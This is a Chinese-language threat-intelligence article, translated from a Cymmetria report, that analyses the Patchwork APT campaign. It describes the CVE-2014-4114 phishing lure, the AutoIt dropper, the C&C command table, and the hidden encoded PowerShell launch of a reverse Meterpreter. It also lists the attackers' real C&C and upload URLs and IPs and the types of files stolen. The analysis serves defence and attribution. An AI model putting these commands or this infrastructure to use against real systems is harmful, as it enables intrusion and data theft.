中国南海和东南亚问题相关的网络攻击组织 捕获Patchwork APT攻击

FreeBuf   发布时间:2016-07-13 10:34:37   作者:佚名   我要评论
南海仲裁这样的闹剧昨天还是宣布了一个可笑的判决,我泱泱大国昨天在海南广东等地派出的各种军队战舰证明这次我们可不是说着玩玩。“若有战,召必回”湿了多少人的眼眶。这边,黑客军团里,也开始借南海问题各种攻击

三、技术分析

工具部署

攻击载体:

图片14.png

攻击载体是一个以PPS为附件的网络钓鱼邮件,嵌入漏洞 CVE-2014-4114  的利用代码。漏洞利用代码执行之后释放可执行文件和Windows驱动程序描述文件INF。

攻击者把以下两个文件嵌入OLE实体中并释放到受害者主机:


DROPPER木马程序:

sysvolinfo.exe程序是攻击者第一阶段的有效载荷(另一个程序是uplv1032 .exe),其目的是为了提升权限、筛选数据,从网络下载执行powersploit发起的程序和命令。通过安装Meterpreter,攻击者可以在受感染主机内发起远程控制命令。

sysvolinfo.exe代码本身是利用编译工具AutoIt编译的,其代码的一个重要部分抄袭于黑客论坛“ indetectables ”。

C&C通信:

当黑客工具开始运行之后,第一步就是与C&C服务器进行确认连接,静待命令,以下就是对C&C连接协议的分析:


发起远程连接请求:

  --  http://212.129.13.110/dropper.php?profile=+ $ComputerID


用以下变量作为发送参数:

   --  ddager, r1, r2, r3, r4, r5, r6.


 返回变量和结果:

 --  “$sdata|$payload”


可用命令解释:

Command ID Command explanation
“1” 调试服务器远程状态如 “[+] ServFlag : Disabled” ,也可以什么都不做
“2” 如果此命令在之前没被执行过, 以PowerShell脚本方式执行: powershell -nop -wind hidden -noni -enc ” & $PAYLOAD
“3” 重置脚本内部状态,忽略先前执行的“2”号命令,再次执行“2”号命令。
“4” 退出脚本
“5” 以base64加密payload执行_emorhc function
“6” 以base64加密payload为变量执行_getnewver function
“7” 以base64加密payload为变量执行_instcust function
“8” 通过CMD方式执行base64加密payload ,把结果保存于r5

当受害主机状态命令发送到控制服务器后,黑客程序继续以“TotalSecurity”字符串目标扫描整个“Program Files”目录,这是“360 Total Security”安全软件的安装目录。(360 Total Security 是360的国际版)

黑客软件以”Baidu Software Update”为文件夹伪装自身进入系统启动目录(HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)。然后,它又向控制服务器发送另一个命令,之后,开始扫描计算机中的所有固定驱动器磁盘,以寻找以下后缀名文件:


 之后上传所有文件至服务器:

http://212[.]129.13.110/update-request.php?profile= 


在对黑客工具进行反编译后,发现了其功能调用中包含了一个有趣的PDB文件:

“C:\Users\Kanishk\Documents\VisualStudio 2015\Projects\ConsoleApplication1\ConsoleApplication1\obj\Debug\ConsoleApplication1.pdb”


提权操作:

经过前阶段描述可知,攻击载体使用了WINDOWS7系统中尚未打补丁的UAC绕过漏洞(被称为UACME ),这可以让攻击者以管理员身份执行操作。

shellcode执行:

当AutoIt 脚本恶意软件从 $sdata 中接收到“2”号命令的心跳后(这似乎是最常见的情况),便以base64加密方式执行命令:

 powershell -nop -wind hidden -noni -enc


我们观察到base64加密的payload是powershell脚本方式的shellcode,通过Meterpreter 进行https反向远程连接。

 反向HTTPS Meterpreter 连接:

AutoIt脚本提权并执行一个PowerShell的反向Meterpreter 连接脚本,而且这个脚本看起来是通过一个在线博客复制而来的

Meterpreter用以下参数进行连接:


图片15.png 

第二阶段的攻击载体:

该阶段的攻击工具只有在攻击者执行Meterpreter连接,并确定目标主机具有价值之后,才会运行部署。我们发现这个攻击载体为7zip.exe,但它有时候也为ndcrypt.exe和nd.exe。

图片16.png

7zip.exe 16 进制代码

这个程序的很多代码都来源于GitHub的一个公开代码库 。

脱壳之后,程序模块执行以下动作:

(1)为了在电脑关机或重启之后能继续保持入侵状态,攻击载体程序在系统目录下复制自身并重命名为netmon.exe,并以自启动服务 Net Monitor 运行。

                       C:\Windows\SysWOW64\netmon.exe     — 以 7zip.exe/netmon.exe 运行的64位程序;

(2)执行一个固定磁盘的扫描线程和文件筛选程序(但不会搜索网络驱动器和USB设备)

          • 另一个线程执行文件上传功能:         

  http://212[.]83.191.156/http/up.php.


         • 另一个线程下载可执行文件:

  http://212[.]83.191.156/http/down.php 


四、其它属性

1 PPS文件时间编辑分析:

 经过对PPS文件的提取分析发现,这些PPS文件在一天当中的不同时段都被经过修改:

图片17.png

2 C&C 远程控制服务器活动时间:

C&C服务器的活动不仅在于单独的几个小时之间,还在于每周的每天,通过对每天的时间区间进行描述之后,我们可以发现不同的模式,例如,每周的周日活动较多,周六较少。另外,攻击活动不早于凌晨2点,不晚于上午11点,除了某个周日之外。“攻击工作时间”图如下:

图片18.png 

域名注册时间:

攻击活动使用的恶意域名注册时间只在每周的特定几天,而且注册时间都介于凌晨3点到下午15点之间:

图片19.png


五、总结:

Patchwork APT 是一个非常成功的有针对性的网络攻击,令人惊讶的是自去年12月之前,它一直未被发现。

其高度复杂的操作与其具有的低技术含量形成鲜明的矛盾对比,避免昂贵的开发工具而选择开源低廉的代码作为渗透工具,这也许是一种攻击趋势,也是一种避免被发现的手段;

根据我们所掌握的信息,攻击者有可能是亲印度或印度人。但就像我们的CEO Gadi Gadi Evron在内部讨论时所说的:“也有另一种可能性,有可能是其他伪装成印度人的攻击者,因为在网络世界里,好像根本就没有任何确切的证据来支撑说明,这只是我们自己的观点。”

不像其它国家发起的APT攻击,印度的网络间谍活动一直都处于平静状态,如果攻击者确实是亲印度或印度人,那么这是非常值得注意的情况。

***** 文章根据Cymmetria 报告原文编译:Cymmetria - Unveiling_Patchwork

*****后记:在Cymmetria发布分析报告的同时,卡巴斯基实验室也发布了名为《Dropping Elephant网络犯罪组织肆意攻击多国政府和外交机构》的报告,报告中命名的Dropping Elephant APT 与Cymmetria发现的 Patchwork APT 高度相似。

       • LHOST=45.43.192.172

       • LPORT=8443 

*.doc

*.pdf

*.csv

*.ppt

*.docx

*.pst

*.xls

*.xlsx

*.pptx 

属性:

ComputerID=BASE64ENCODE(“$USERNAME@$COMPUTERNAME”)

ddager= Isstartup registry key added (Bool)

r1=BASE64ENCODE(result of OSVersion macro, e.g. WIN_7)

r2=BASE64ENCODE(result of OSArch macro, e.g. X64)

r3=BASE64ENCODE(trojan version, 1.1 in our sample)

r4=BASE64ENCODE(Does the SQLite database folder ( @UserProfileDir &“\AppData\Local\Google\Chrome\User Data\Default\”) exist (1) or not (0))

r5=BASE64ENCODE(stdout of last cmd command)

r6=BASE64ENCODE(1 if running as administrator, 0 if not)

   •  Driver.inf

   •  Sysvolinfo.exe

    http://212.129.13.110/dropper.php?profile=<base64of [username@computername]>

    https://45.43.192.172:8443/OxGN 


相关文章

最新评论